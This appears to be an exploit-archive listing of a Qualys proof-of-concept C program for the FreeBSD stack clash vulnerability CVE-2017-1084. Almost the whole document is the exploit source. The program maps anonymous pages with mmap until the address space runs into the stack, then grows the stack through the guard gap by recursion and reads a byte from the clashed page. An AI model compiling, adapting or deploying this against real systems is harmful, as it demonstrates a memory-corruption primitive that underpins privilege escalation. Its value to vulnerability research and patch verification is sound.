FreeBSD FGPU Stack Clash Proof Of Concept

FreeBSD FGPU stack clash proof of concept exploit.


MD5 | 4df3d0a41e548c26a0c180b85a467afb

/*
* FreeBSD_CVE-2017-FGPU.c for CVE-2017-1084 (please compile with -O0)
* Copyright (C) 2017 Qualys, Inc.
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/time.h>

#define die() do { \
fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
exit(EXIT_FAILURE); \
} while (0)

static const char * last_page;

static void
clash(void)
{
for (;;) {
const char * const page = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page <= last_page) die();
if (page == MAP_FAILED) break;
last_page = page;
}
if (!last_page) die();
}

static void
smash_no_jump(const size_t smash_size)
{
char buf[1024];
memset(buf, 'A', sizeof(buf));
if (smash_size > sizeof(buf))
smash_no_jump(smash_size - sizeof(buf));
}

#define SGROWSIZ ((size_t)128UL*1024) /* amount to grow stack */

int
main(void)
{
static const struct rlimit core;
if (setrlimit(RLIMIT_CORE, &core)) die();

clash();
smash_no_jump(SGROWSIZ / 2 * 3);
printf("char at %p: %02x\n", last_page, *last_page);
exit(EXIT_SUCCESS);
}


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